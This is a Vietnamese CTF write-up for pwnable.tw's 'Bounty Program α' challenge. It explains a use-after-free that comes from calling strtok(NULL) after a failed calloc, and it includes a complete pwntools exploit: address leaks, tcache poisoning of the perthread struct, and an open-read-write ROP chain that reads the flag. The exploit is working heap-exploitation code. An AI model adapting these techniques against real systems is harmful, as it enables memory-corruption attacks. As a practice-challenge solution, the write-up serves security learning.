pwnable.tw

Bounty Program α

Vuln: Không kiểm tra NULL trước khi sử dụng strtok().

tl;dr: Hành vi nguy hiểm của strtok(NULL, delim); Hàm calloc() bỏ qua tcache; Env var có thể tác động đến hành vi của ptmalloc.

March 3, 2026 Hard

Recon

Mitigation

$ pwn checksec bounty_program
[*] '/home/hungnt/pwnable.tw/bounty-program-a/bounty_program'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    FORTIFY:  Enabled
$ file bounty_program
bounty_program: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter ./ld, for GNU/Linux 3.2.0, BuildID[sha1]=237165c7e6caa5d52b1f79914664541cb99375e1, stripped

GLIBC Version

pwndbg> libc
libc: glibc
libc version: 2.27
linked: dynamically
URLs:
    project homepage:       https://sourceware.org/glibc/
    read the source:        https://elixir.bootlin.com/glibc/glibc-2.27/source
    download the archive:   https://ftp.gnu.org/gnu/libc/glibc-2.27.tar.gz
    git clone               https://sourceware.org/git/glibc.git
Mappings:
    libc is at:             0x7ffff7200000
           /home/hungnt/pwnable.tw/bounty-program-a/libc-18292bd12d37bfaf58e8dded9db7f1f5da1192cb.so
    ld is at:               0x7ffff7c00000
           /home/hungnt/pwnable.tw/bounty-program-a/ld-linux-x86-64.so.2
Symbolication:
    has exported symbols:  yes
    has internal symbols:  yes
    has debug info:        yes

Seccomp

Đây là seccomp của wrapper:

$ seccomp-tools dump ./wrapper
Name:A
Value:A
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x01 0x00 0xc000003e  if (A == ARCH_X86_64) goto 0003
 0002: 0x06 0x00 0x00 0x00000000  return KILL
 0003: 0x20 0x00 0x00 0x00000000  A = sys_number
 0004: 0x15 0x00 0x01 0x0000000f  if (A != rt_sigreturn) goto 0006
 0005: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0006: 0x15 0x00 0x01 0x000000e7  if (A != exit_group) goto 0008
 0007: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0008: 0x15 0x00 0x01 0x0000003c  if (A != exit) goto 0010
 0009: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0010: 0x15 0x00 0x01 0x00000002  if (A != open) goto 0012
 0011: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0012: 0x15 0x00 0x01 0x00000101  if (A != openat) goto 0014
 0013: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0014: 0x15 0x00 0x01 0x00000000  if (A != read) goto 0016
 0015: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0016: 0x15 0x00 0x01 0x00000001  if (A != write) goto 0018
 0017: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0018: 0x15 0x00 0x01 0x00000142  if (A != execveat) goto 0020
 0019: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0020: 0x15 0x00 0x01 0x0000000c  if (A != brk) goto 0022
 0021: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0022: 0x15 0x00 0x01 0x00000009  if (A != mmap) goto 0024
 0023: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0024: 0x15 0x00 0x01 0x0000000b  if (A != munmap) goto 0026
 0025: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0026: 0x15 0x00 0x01 0x00000015  if (A != access) goto 0028
 0027: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0028: 0x15 0x00 0x01 0x00000005  if (A != fstat) goto 0030
 0029: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0030: 0x15 0x00 0x01 0x0000009e  if (A != arch_prctl) goto 0032
 0031: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0032: 0x15 0x00 0x01 0x000000da  if (A != set_tid_address) goto 0034
 0033: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0034: 0x15 0x00 0x01 0x00000111  if (A != set_robust_list) goto 0036
 0035: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0036: 0x15 0x00 0x01 0x0000000e  if (A != rt_sigprocmask) goto 0038
 0037: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0038: 0x15 0x00 0x01 0x0000012e  if (A != prlimit64) goto 0040
 0039: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0040: 0x15 0x00 0x01 0x0000000a  if (A != mprotect) goto 0042
 0041: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0042: 0x15 0x00 0x01 0x0000000d  if (A != rt_sigaction) goto 0044
 0043: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0044: 0x15 0x00 0x01 0x00000003  if (A != close) goto 0046
 0045: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0046: 0x06 0x00 0x00 0x00000000  return KILL

Code

bounty_program: AddVulnType()

void AddVulnType()
{
  __int64 size; // rsi
  int price; // [rsp+4h] [rbp-1Ch]
  char *type_name; // [rsp+8h] [rbp-18h]
  char *types; // [rsp+18h] [rbp-8h]

  printf("Size:");
  size = read_long();
  types = (char *)calloc(1uLL, size);           // arbitrary size allocation
  puts("(Note:You can add many types at the same time)");
  puts("(Example: SQLI,Buffer overflow,LFI)");
  printf("Type:");
  read_input(types, size);
  for ( type_name = strtok(types, ","); type_name; type_name = strtok(0LL, ",") )
  {
    printf("type: %s\n", type_name);
    printf("Price:");
    price = read_long();
    if ( AllocateType(type_name, price) )
      puts("Success !");
    else
      puts(&byte_360F);
  }
  free(types);
}

wrapper

int __fastcall main(int argc, const char **argv, const char **envp)
{
  char s[256]; // [rsp+10h] [rbp-1110h] BYREF
  char value[4104]; // [rsp+110h] [rbp-1010h] BYREF
  unsigned __int64 v6; // [rsp+1118h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  init_proc(argc, argv, envp);
  memset(s, 0, sizeof(s));
  memset(value, 0, 4096uLL);
  printf("Name:");
  read_input(s, 248LL);
  if ( strstr(s, "LD") || strstr(s, "MALLOC") )
  {
    printf("Danger!");
    _exit(-1);
  }
  printf("Value:");
  read_input(value, 512LL);
  setenv(s, value, 1);
  my_sandbox();
  syscall(322LL, 100LL, "./bounty_program", argv, environ, 0LL);
  return 0;
}

Solve

Sau 3 tiếng ngồi đọc code mình ko tìm thấy tí bug nào, mình đã hỏi perplexity đọc writeup và đưa ra cho mình hint nhỏ nhất có thể:

Vậy bug nằm ở việc chương trình ko check cẩn thận khi dùng strtok(), mình lôi source code strtok() trong glibc để phân tích nhé.

Hàm strtok() có một biến static là olds, trỏ về nơi của chuỗi vừa đc xử lý gần nhất. Về cơ bản nó hoạt động như sau, ban đầu mình có s trỏ đến chuỗi "hello,world\x00". Lần gọi hàm lần 1 đối với chuỗi sẽ cần truyền strtok(s, ","), thì strtok sẽ đếm đến hết ký tự đầu tiên ko thuộc delim (ở đây là khác dấu phẩy), ta đc 1 token, end sẽ trỏ đến nơi kết thúc của token là dấu phảy và ghi đè nó với null, s bây giờ là "hello\x00work\x00". save_ptr trỏ đến end + 1 là "work\x00". Để tiếp tục tách token, ta cần truyền s = null, khi này s = olds, rồi lại tiếp tục với token sau đó.

Vậy bug của chương trình đó là ko kiểm tra xem liệu cấp phát từ calloc có thành công hay ko, mà sử dụng strtok(types, “,”) ngay sau đó.

Giả sử lần mình gọi hàm AddVulnType() lần 1 với các tham số hợp lệ, chương trình hoạt động như dự đoán. Nhưng lần 2, mình khiến calloc() cấp phát thất bại trả về null, strtok(null, “,”) đc gọi ngay lần đầu, thế thì nó sẽ sử dụng cái olds kia. Mà olds này là chunk types mà mình đã cấp phát ở lần AddVulnType() lần trước, mà đã bị free, dẫn đến bug ở đây là UAF.

Để khiến calloc() trả về null, mình truyền vào size cực lớn. Do ko đủ bộ nhớ để cấp phát, types đc gán bằng null.

Với bug này mình dễ dàng leak đc heap và libc. Như rồi làm gì tiếp? Chẳng còn bug nào cả. Vậy mình mới có ý tưởng là lợi dụng *end = '\0' kia. Do hàm strtok sẽ ghi null vào vị trí dấu phẩy đứng ngay sau token vừa duyệt, mà dấu phẩy có mã hex là 0x2c, nên mình có ý tưởng như sau:

  1. Cấp phát 1 chunk có địa chỉ trỏ kết thúc với 0x2c10. Rồi free chunk này vào tcache bin nào đó.
  2. Vì hàm calloc() skip toàn bộ tcache, chỉ duyệt fastbin, small,… nên mình AddVulnType() lần 1 với kích thước sao cho khi free chunk này vào cùng tcache bin với chunk ở trên, input vào types là ‘\x00’.
  3. AddVulnType() lần 2, mình calloc(-1), dẫn đến strtok(null, “,”), ghi đè vào con trỏ fd, ghi byte 0x2c thành null, nghĩa là trỏ đến tcache perthread struct (kết thúc 0x0010).

Từ đây mình có thể kiểm soát toàn bộ tcache để cấp phát tuỳ ý. Tuy nhiên cách này chỉ hoạt động nếu heap base được đặt vào địa chỉ kết thúc 0x0000, nên cần chút may mắn ở đây:

Với seccomp như mình đã biết, chắc chắn cần phải ROP. Nên mục tiêu của mình cuối cùng sẽ là leak đc stack qua environ, rồi control tcache để cấp phát đến return address của hàm SubmitBugReport() vì ở đây sử dụng malloc() thay vì calloc() để cấp phát description, thì mới lấy chunk trong tcache được, rồi ROP ORW là xong.

Mình vẫn ko hiểu tại sao ko mình ko execveat đc.

Note: để control tcache lần 2, mình ko ghi luôn địa chỉ tcache perthread struct vào fd, vì nó chứa null, ko ghi hết đc với strdup(). Nên mình ghi địa chỉ nơi mà chứa địa chỉ tcache perthread struct vào fd, cần thêm 1 lần cấp phát nữa.

Script

#!/usr/bin/env python3

from pwn import *

sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)

slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
san = lambda p, d, n: p.sendafter(d, str(n).encode())
sln = lambda p, n: p.sendline(str(n).encode())
sn = lambda p, n: p.send(str(n).encode())

ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rn = lambda p, n: p.recvn(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()

lg = lambda t, addr: print(t, '->', hex(addr))
binsh = lambda libc: next(libc.search(b"/bin/sh\0"))
leak_bytes = lambda r, offset=0: u64(r.ljust(8, b"\0")) - offset
leak_hex = lambda r, offset=0: int(r, 16) - offset
leak_dec = lambda r, offset=0: int(r, 10) - offset
pad = lambda l, c: c * l
z = lambda l: l * b'\0'
A = lambda l: l * b'A'

e = context.binary = ELF('./bounty_program', checksec=False)
libc = ELF('./libc-18292bd12d37bfaf58e8dded9db7f1f5da1192cb.so', checksec=False)
ld = ELF('ld-linux-x86-64.so.2', checksec=False)

TERMINAL = 3
USE_PTY = False
GDB_ATTACH_DELAY = 1

match TERMINAL:
    case 1:
        context.terminal = ["/usr/bin/tilix", "-a", "session-add-right", "-e", "bash", "-c"]
    case 2:
        context.terminal = ["tmux", "split-window", "-h"]
    case 3:
        context.terminal = ["/mnt/c/Windows/system32/cmd.exe", "/c", "start", "wt.exe",
                            "-w", "0", "split-pane", "-V", "-s", "0.5",
                            "wsl.exe", "-d", "Ubuntu-24.04", "bash", "-c"]
    case _:
        raise ValueError(f"Unknown terminal: {TERMINAL}")

gdbscript = '''
cd ''' + os.getcwd() + '''
set solib-search-path ''' + os.getcwd() + '''
set sysroot /
set follow-fork-mode parent
set detach-on-fork on
# brva 0x180E
# brva 0x1689
# brva 0x18F5
# b *__libc_malloc
brva 0x22E0
continue
'''

def attach(p):
    if args.GDB:
        gdb.attach(p, gdbscript=gdbscript)
        sleep(GDB_ATTACH_DELAY)

def conn():
    if args.LOCAL:
        if USE_PTY:
            p = process([e.path], stdin=PTY, stdout=PTY, stderr=PTY)
        else:
            p = process([e.path])
        sleep(0.25)
        return p
    else:
        host = "chall.pwnable.tw"
        port = 10208
        return remote(host, port)

class TcachePerthread:
    MALLOC_ALIGNMENT = 0x10
    MINSIZE = 0x20

    def __init__(self):
        self.num_slots = [0] * 64
        self.entries = [0] * 64

    @staticmethod
    def size2idx(size):
        return (size - TcachePerthread.MINSIZE) // TcachePerthread.MALLOC_ALIGNMENT

    def set_count(self, size, count):
        self.num_slots[self.size2idx(size)] = count
        return self

    def set_entry(self, size, ptr):
        self.entries[self.size2idx(size)] = ptr
        return self

    def pack(self):
        data = b''
        for count in self.num_slots:
            data += p8(count)
        for entry in self.entries:
            data += p64(entry)
        return data
    
def Login(username, password):
    slan(p, b'choice', 1)
    sa(p, b'Username', username)
    sa(p, b'Password', password)
    sleep(0.05)
    
def Register(username, password, contact):
    slan(p, b'choice', 2)
    sa(p, b'Username', username)
    sa(p, b'Password', password)
    sa(p, b'Contact', contact)
    sleep(0.05)

def AddNewProduct(name, company, comment):
    slan(p, b'choice', 1)
    sa(p, b'Name', name)
    sa(p, b'Company', company)
    sa(p, b'Comment', comment)
    sleep(0.05)

def AddVulnType(size, type, price):
    slan(p, b'choice', 2)
    slan(p, b'Size', size)
    sa(p, b'Type', type)
    slan(p, b'Price', price)
    sleep(0.05)

def SubmitBugReport(product_id, type_id, title, bug_id, desc_len, description):
    slan(p, b'choice', 3)
    slan(p, b'Product', product_id)
    slan(p, b'Type:', type_id)
    sa(p, b'Title', title)
    slan(p, b'ID', bug_id)
    slan(p, b'Length', desc_len)
    sa(p, b'Descripton', description)
    sleep(0.05)

def RemoveVulnType(size, type):
    slan(p, b'choice', 4)
    slan(p, b'Size', size)
    sa(p, b'Type', type)
    sleep(0.05)

def ShowBugDetail(product_id):
    slan(p, b'choice', 6)
    slan(p, b'ID', product_id)
    sleep(0.05)

username = password = b'ngtuonghung'
desc_min_size = 0x408
desc_min_size_hi = 0x410
desc_min_size_lo = 0x400

attempt = 0
while True:
    attempt += 1
    print("\n----------> Attempt", attempt)

    p = conn()

    if not args.LOCAL:
        sa(p, b'Name', username)
        slan(p, b'Value', password)

    print("Register and login")
    Register(username, password, b'A')
    Login(username, password)

    # Bounty
    slan(p, b'choice', 1)

    print("Leaking heap address")
    AddVulnType(0x100, b'A', 0)
    AddVulnType(0x100, b'B', 0) # This works since calloc skip tcache entirely
    slan(p, b'choice', 2)
    slan(p, b'Size', -1)
    sa(p, b'Type', b'C')
    ru(p, b'type: ')
    heap_base = leak_bytes(b'\0' + rn(p, 5), 0x500)
    lg("heap base", heap_base)

    # Hoping for heap base address ends with 0x0000
    if heap_base & 0xffff != 0:
        print("Failed attempt, we're unlucky this time")
        p.close()
        continue

    print("We're lucky this time")

    print("Leaking libc address")
    AddVulnType(0x420, b'D', 0)
    AddVulnType(0x420, b'E', 0) # Actually there's no need for this, I copied this from above when leaking heap, but I've already finish the exploit, I'm too lazy to change anything :/
    slan(p, b'choice', 2)
    slan(p, b'Size', -1)
    sa(p, b'Type', b'F')
    ru(p, b'type: ')
    libc.address = leak_bytes(b'\0' + rn(p, 5), 0x3ebc00)
    lg("libc base", libc.address)

    print("Poison tcache to point back to tcache perthread struct")
    
    # For some reasons, without debug being turned on, we're blocked here (LOCAL)

    AddNewProduct(b'iphone 18 pro max premium vip', b'4pple', b'A')
    SubmitBugReport(0, 0, b'0-click', 0, 0x2000 - 0x170, b'A')
    # -------------------------------------so that next allocation at address ends with 0x2c10

    AddVulnType(desc_min_size, b'G', 0) # ends with 0x2c10
    slan(p, b'choice', 2)
    slan(p, b'Size', desc_min_size)
    sa(p, b'Type', b'\0') # null for strtok set *save_ptr = s.

    AddVulnType(-1, b'H', 0)
    # Now G ends with 0x0010 (tcache perthread struct)
    
    SubmitBugReport(0, 0, b'1-click', 0, desc_min_size, b'A')

    # Control the whole tcache
    controlled_tcache = TcachePerthread()
    # To leak stack
    controlled_tcache.set_count(desc_min_size_hi, 3).set_entry(desc_min_size_hi, libc.symbols['environ'] - desc_min_size_lo)
    
    # To write to fd pointer of the fake chunk at the entry we faked above
    offset = 0x40
    controlled_tcache.set_count(offset + 0x10, 1).set_entry(offset + 0x10, libc.symbols['environ'] - desc_min_size_lo - offset + 0x8)
    
    SubmitBugReport(0, 0, b'2-click', 0, desc_min_size, controlled_tcache.pack())
    # Tcache address is now inside the above BugReport struct
    
    # Clean up 1 vuln to add another
    RemoveVulnType(0x10, b'A')

    # Can't do this cause strdup() stop at null (0x0010)
    # AddVulnType(0x50, A(0x38) + p64(heap_base + 0x10)[:6], 1337)
    # Do this instead
    AddVulnType(offset + 0x10, A(offset - 0x8) + p64(heap_base + 0x3548)[:6], 0)

    print("Leaking stack address")
    SubmitBugReport(0, 0, b'3-click', 0, desc_min_size, A(desc_min_size_lo))
    ShowBugDetail(0)
    ru(p, A(desc_min_size_lo))
    stack = leak_bytes(rn(p, 6))
    lg("stack", stack)

    # Clear up entry
    SubmitBugReport(0, 0, b'4-click', 0, desc_min_size, b'A')

    # Control the whole tcache again to ROP
    ret_addr_on_stack = stack - 0x130
    controlled_tcache = TcachePerthread()
    controlled_tcache.set_count(desc_min_size_hi, 1).set_entry(desc_min_size_hi, ret_addr_on_stack)

    SubmitBugReport(0, 0, b'5-click', 0, desc_min_size, controlled_tcache.pack())

    attach(p)

    print("ORW ROP")
    pop_rax = libc.address + 0x00000000000439c8
    pop_rdi = libc.address + 0x000000000002155f
    pop_rsi = libc.address + 0x0000000000023e6a
    pop_rdx = libc.address + 0x0000000000001b96
    pop_r10 = libc.address + 0x00000000001306b5
    pop_r8_mov_eax_1 = libc.address + 0x0000000000155fc6
    syscall = libc.address + 0x00000000000d2975
    
    flag_path = stack - 0x58
    flag_buf = flag_path + 0x20

    # ROP execveat() ko dc?? :v
    ROP_chain = flat(
        # open("/home/bounty_program/flag", 0, 0)
        pop_rdi, flag_path,
        pop_rsi, 0,
        pop_rdx, 0,
        pop_rax, 2,
        syscall,

        # read(4, buf, 0x100)
        pop_rdi, 4, # 3 is /dev/urandom
        pop_rsi, flag_buf,
        pop_rdx, 0x100,
        pop_rax, 0,
        syscall,

        # write(1, buf, 0x100)
        pop_rdi, 1,
        pop_rsi, flag_buf,
        pop_rdx, 0x100,
        pop_rax, 1,
        syscall,

        b'/home/bounty_program/flag\0'
    )
    SubmitBugReport(0, 0, b'6-click', 0, desc_min_size, ROP_chain)

    print("Flag:")
    print(ra(p, 2))

    p.close()
    break

Side note

Lấy đc flag rồi mình mới để ý trong flag có nhắc đến environment variable. Mình ko biết nó có tác dụng gì nên đã hỏi perplexity. Về cơ bản, env var có thể ảnh hưởng đến hành vi của ptmalloc:

Vậy có vẻ solve của mình là unintended.